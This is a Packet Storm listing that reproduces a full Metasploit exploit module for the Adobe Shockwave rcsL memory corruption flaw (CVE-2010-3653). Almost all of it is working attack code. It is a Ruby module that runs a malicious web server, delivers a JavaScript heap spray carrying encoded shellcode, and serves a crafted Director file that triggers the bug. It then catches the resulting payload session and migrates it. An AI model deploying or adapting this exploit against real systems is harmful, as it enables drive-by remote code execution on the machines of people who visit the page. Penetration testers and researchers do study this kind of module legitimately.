Adobe Shockwave rcsL Memory Corruption

2010-10-2500:00:00
David Kennedy
packetstormsecurity.com
0.919 High
EPSS
Percentile
98.7%
JSON
`##  
# $Id: adobe_shockwave_rcsl_corruption.rb 10784 2010-10-22 12:21:30Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe Shockwave rcsL Memory Corruption',  
'Description' => %q{  
This module exploits a weakness in the Adobe Shockwave player's handling of  
Director movies (.DIR). A memory corruption vulnerability occurs through an undocumented  
rcsL chunk. This vulnerability was discovered by http://www.abysssec.com.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>'],  
'Version' => '$Revision: 10784 $',  
'References' =>  
[  
[ 'CVE', '2010-3653'],  
[ 'OSVDB', '68803'],  
[ 'URL', 'http://www.exploit-db.com/sploits/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip' ],  
],  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { 'Ret' => 0x0a0a0a0a } ], # tested on XP SP2 and XP SP3  
],  
'DisclosureDate' => 'Oct 21 2010',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
#  
# When exploit is called, load the exploit.dir file  
#  
def exploit  
  
path = File.join( Msf::Config.install_root, "data", "exploits", "shockwave_rcsl.dir" )  
fd = File.open( path, "rb" )  
@dir_data = fd.read(fd.stat.size)  
fd.close  
  
super  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
dirname = rand_text_alpha(rand(20))  
shellcode_rand = rand_text_alpha(rand(20))  
  
# payload encoding  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# build the exploit  
content = %Q|  
<html>  
<head>  
<title>msf</title>  
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
<script>  
#{shellcode_rand} = unescape('#{shellcode}');  
  
nops=unescape('%u0a0a%u0a0a');  
headersize =20;  
slackspace= headersize + #{shellcode_rand}.length;  
while(nops.length< slackspace) nops+= nops;  
fillblock= nops.substring(0, slackspace);  
block= nops.substring(0, nops.length- slackspace);  
while( block.length+ slackspace<0x200000) block= block+ block+ fillblock;  
memory=new Array();  
for( counter=0; counter<200; counter++) memory[counter]= block + #{shellcode_rand};  
</script>  
</head>  
<body bgColor="#FFFFFF">  
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"  
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"  
ID=Abysssec width=600 height=430 VIEWASTEXT>  
<param name=src value="#{dirname}.DIR">  
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">  
<param name=swStretchStyle value=fill>  
<param name=PlayerVersion value=11>  
<PARAM NAME=bgColor VALUE=#FFFFFF>  
<embed src="#{dirname}.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' " swStretchStyle=fill  
type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>  
</object>  
</body>  
</html>  
|  
  
# Transmit the response to the client  
path = request.uri  
if (path =~ /\.DIR/i)  
print_status("Sending exploit DIR to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, @dir_data, { 'Content-Type' => 'application/octet-stream' })  
else  
print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...")  
send_response_html(cli, content)  
end  
  
# Handle the payload  
handler(cli)  
  
end  
  
end  
`
0.919 High
EPSS
Percentile
98.7%
JSON
Related for PACKETSTORM:95121